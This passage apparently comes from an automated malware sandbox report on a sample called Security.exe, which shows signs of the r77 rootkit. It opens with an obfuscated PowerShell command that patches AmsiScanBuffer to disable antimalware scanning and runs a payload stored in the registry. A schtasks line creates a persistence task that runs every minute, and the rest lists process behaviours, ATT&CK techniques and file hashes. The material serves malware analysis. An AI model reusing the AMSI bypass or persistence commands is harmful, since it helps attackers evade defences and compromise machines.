's'+'i'+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$nOHksFCarGKxkJYsa=$wQjKsfzzDMHrRG.Invoke($Null,@([Object]$LnDsCJR,[Object](''+'A'+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+'an'+[Char](66)+''+'u'+''+'f'+''+'f'+''+'e'+''+[Char](114)+'')));$stxTmEQoaI=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UHKWTajQKFSayhlNL,$kONqrBtbPmuRXKCQaxCVNs).Invoke($nOHksFCarGKxkJYsa,[uint32]8,4,[ref]$stxTmEQoaI);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$nOHksFCarGKxkJYsa,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UHKWTajQKFSayhlNL,$kONqrBtbPmuRXKCQaxCVNs).Invoke($nOHksFCarGKxkJYsa,[uint32]8,0x20,[ref]$stxTmEQoaI);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'FT'+[Char](87)+'A'+[Char](82)+'E').GetValue('$7'+[Char](55)+''+'s'+''+[Char](116)+''+'a'+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2596
- C:\Users\Admin\AppData\Roaming\$77Security.exe
  C:\Users\Admin\AppData\Roaming\$77Security.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1036
- C:\Users\Admin\AppData\Roaming\$77Security.exe
  C:\Users\Admin\AppData\Roaming\$77Security.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2540
- C:\Users\Admin\AppData\Roaming\$77Security.exe
  C:\Users\Admin\AppData\Roaming\$77Security.exe
  2⤵
  - Executes dropped EXE
  PID:1648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1264

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1420

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1580

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1604

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1664
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:920

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1676

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1840

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1928

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1996

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2020

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1760

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1976

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2180

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2324

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2676

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2804

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2812

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2936

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
PID:3188
- C:\Users\Admin\AppData\Local\Temp\Security.exe
  "C:\Users\Admin\AppData\Local\Temp\Security.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2552
- - C:\Users\Admin\AppData\Local\Temp\$77Security.exe
    "C:\Users\Admin\AppData\Local\Temp\$77Security.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of AdjustPrivilegeToken
    PID:1188
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "$77Security" /tr "C:\Users\Admin\AppData\Roaming\$77Security.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2652
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1212
- - C:\Users\Admin\AppData\Local\Temp\Install.exe
    "C:\Users\Admin\AppData\Local\Temp\Install.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3376

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3688

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of UnmapMainImage
PID:3756

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:3836

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:2040

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2740

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4236

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:1040

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3748

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3884

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:2232

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:5044

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4200

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3096

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:3388

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

$77Security.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\$77Security.exe.log
Size 654B
SHA256 e31b18f21621d9983bfdf1ea3e53884a9d58b8ffd79e0e5790da6f3a81a8b9d3
MD5 2cbbb74b7da1f720b48ed31085cbd5b8
SHA1 79caa9a3ea8abe1b9c4326c3633da64a5f724964
SHA512 ecf02d5240e0c1c005d3ab393aa7eff62bd498c2db5905157e2bf6d29e1b663228a9583950842629d1a4caef404c8941a0c7799b1a3bd1eb890a09fdb7efcff9
TLSH
T119F0A2302371E1C8C9263F422C0D2A4966AF474A7B50FE0C7694635DD825167AF313F3
MD5 SHA1 SHA512 TLSH

Submit Download

$77Security.exe

Path C:\Users\Admin\AppData\Local\Temp\$77Security.exe
Size 54KB
SHA256 35eb77c5983a70f24ba87d96685d1e2911b523d5972dfcbccf3e549316ff16f1
MD5 12c1eb283c7106b3f2c8b2ba93037a58
SHA1 540fc3c3a0a2cf712e2957a96b8aff4c071b0e7e
SHA512 72d25cb84ba32b3680edbbf9be92ab279cb7caef6e166917ec68a7eb7c8530b926565faab8a98b05125ad16359149a86dee19b083531a21ac3b41f0c77c5349d
SSDEEP 1536:RmNLlP/Say9afj4zbjSl8chqoPbOlgo4Q/:oNLlAm4zbjy8KqoPbOlgxQ/
TLSH
T16D435B187FF58126E1FF6FB00DE236A2C276F6235513AA5F28C5029B57239848E417F6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Install.exe

Path C:\Users\Admin\AppData\Local\Temp\Install.exe
Size 163KB
SHA256 b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5
MD5 1a7d1b5d24ba30c4d3d5502295ab5e89
SHA1 2d5e69cf335605ba0a61f0bbecbea6fc06a42563
SHA512 859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa
SSDEEP 3072:TQpsSyjlzA664oL8tIoDJxGtIVORPrdAHjl3+uwF+iBDZ/wXxnTFKe8kaz:TQpsSyjlzfnoNGxGo6PrdAHwtMxn4e8N
TLSH
T1BAF301549BEC3028FDBE06B53ABBCC41AE7A74B55B15C90C81A600FE9EB5AC1D435F60
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_cqp04uuk.3rc.ps1

Path C:\Windows\Temp\__PSScriptPolicyTest_cqp04uuk.3rc.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/404-124-0x00007FFC296F0000-0x00007FFC29700000-memory.dmp

Download

memory/404-123-0x0000019CD50B0000-0x0000019CD50DB000-memory.dmp

Download

memory/404-117-0x0000019CD50B0000-0x0000019CD50DB000-memory.dmp

Download

memory/424-101-0x000002200F510000-0x000002200F53B000-memory.dmp

Download

memory/424-102-0x00007FFC296F0000-0x00007FFC29700000-memory.dmp

Download

memory/424-95-0x000002200F510000-0x000002200F53B000-memory.dmp

Download

memory/640-112-0x0000020104730000-0x000002010475B000-memory.dmp

Download

memory/640-106-0x0000020104730000-0x000002010475B000-memory.dmp

Download

memory/640-113-0x00007FFC296F0000-0x00007FFC29700000-memory.dmp

Download

memory/644-67-0x00007FFC296F0000-0x00007FFC29700000-memory.dmp

Download

memory/644-58-0x0000022342B10000-0x0000022342B35000-memory.dmp

Download

memory/644-59-0x0000022342B40000-0x0000022342B6B000-memory.dmp

Download

memory/644-60-0x0000022342B40000-0x0000022342B6B000-memory.dmp

Download

memory/644-66-0x0000022342B40000-0x0000022342B6B000-memory.dmp

Download

memory/708-71-0x000001F5CFBA0000-0x000001F5CFBCB000-memory.dmp

Download

memory/708-77-0x000001F5CFBA0000-0x000001F5CFBCB000-memory.dmp

Download

memory/708-80-0x00007FFC296F0000-0x00007FFC29700000-memory.dmp

Download

memory/912-90-0x0000023E271D0000-0x0000023E271FB000-memory.dmp

Download

memory/912-84-0x0000023E271D0000-0x0000023E271FB000-memory.dmp

Download

memory/912-91-0x00007FFC296F0000-0x00007FFC29700000-memory.dmp

Download

memory/1044-135-0x00007FFC296F0000-0x00007FFC29700000-memory.dmp

Download

memory/1044-134-0x000002091FE90000-0x000002091FEBB000-memory.dmp

Download

memory/1044-128-0x000002091FE90000-0x000002091FEBB000-memory.dmp

Download

memory/1120-145-0x000001ABE1790000-0x000001ABE17BB000-memory.dmp

Download

memory/1120-146-0x00007FFC296F0000-0x00007FFC29700000-memory.dmp

Download

memory/1120-139-0x000001ABE1790000-0x000001ABE17BB000-memory.dmp

Download

memory/1148-157-0x00007FFC296F0000-0x00007FFC29700000-memory.dmp

Download

memory/1148-150-0x000001FDADEA0000-0x000001FDADECB000-memory.dmp

Download

memory/1148-156-0x000001FDADEA0000-0x000001FDADECB000-memory.dmp

Download

memory/1188-785-0x000000001B110000-0x000000001B120000-memory.dmp

Download

memory/1188-786-0x000000001B110000-0x000000001B120000-memory.dmp

Download

memory/1188-36-0x00000000004A0000-0x00000000004B4000-memory.dmp

Download

memory/1228-168-0x00007FFC296F0000-0x00007FFC29700000-memory.dmp

Download

memory/1228-161-0x0000015D6EE90000-0x0000015D6EEBB000-memory.dmp

Download

memory/1228-167-0x0000015D6EE90000-0x0000015D6EEBB000-memory.dmp

Download

memory/1256-178-0x000002CC9A6A0000-0x000002CC9A6CB000-memory.dmp

Download

memory/1256-172-0x000002CC9A6A0000-0x000002CC9A6CB000-memory.dmp

Download

memory/1256-179-0x00007FFC296F0000-0x00007FFC29700000-memory.dmp

Download

memory/1264-190-0x00007FFC296F0000-0x00007FFC29700000-memory.dmp

Download

memory/1264-183-0x000001FB28780000-0x000001FB287AB000-memory.dmp

Download

memory/1264-189-0x000001FB28780000-0x000001FB287AB000-memory.dmp

Download

memory/1324-200-0x000001FA073B0000-0x000001FA073DB000-memory.dmp

Download

memory/1324-201-0x00007FFC296F0000-0x00007FFC29700000-memory.dmp

Download

memory/1324-194-0x000001FA073B0000-0x000001FA073DB000-memory.dmp

Download

memory/1420-211-0x000002176E160000-0x000002176E18B000-memory.dmp

Download

memory/1420-205-0x000002176E160000-0x000002176E18B000-memory.dmp

Download

memory/1420-212-0x00007FFC296F0000-0x00007FFC29700000-memory.dmp

Download

memory/1580-216-0x00000287938F0000-0x000002879391B000-memory.dmp

Download

memory/1580-222-0x00000287938F0000-0x000002879391B000-memory.dmp

Download

memory/1580-223-0x00007FFC296F0000-0x00007FFC29700000-memory.dmp

Download

memory/1604-227-0x000001F80A600000-0x000001F80A62B000-memory.dmp

Download

memory/1604-234-0x00007FFC296F0000-0x00007FFC29700000-memory.dmp

Download

memory/1604-233-0x000001F80A600000-0x000001F80A62B000-memory.dmp

Download

memory/1664-238-0x000001462E1B0000-0x000001462E1DB000-memory.dmp

Download

memory/1664-245-0x00007FFC296F0000-0x00007FFC29700000-memory.dmp

Download

memory/1664-244-0x000001462E1B0000-0x000001462E1DB000-memory.dmp

Download

memory/1676-249-0x0000025A893D0000-0x0000025A893FB000-memory.dmp

Download

memory/2188-54-0x00007FFC687D0000-0x00007FFC6888D000-memory.dmp

Download

memory/2188-49-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/2188-47-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/2188-52-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/2188-53-0x00007FFC69660000-0x00007FFC69869000-memory.dmp

Download

memory/2188-50-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/2188-48-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/2188-55-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/2552-0-0x0000000000680000-0x0000000000700000-memory.dmp

Download

memory/2552-1-0x000000001B540000-0x000000001B550000-memory.dmp

Download

memory/2596-46-0x00007FFC687D0000-0x00007FFC6888D000-memory.dmp

Download

memory/2596-45-0x00007FFC69660000-0x00007FFC69869000-memory.dmp

Download

memory/2596-44-0x000002634D550000-0x000002634D57A000-memory.dmp

Download

memory/2596-42-0x0000026334BC0000-0x0000026334BE2000-memory.dmp

Download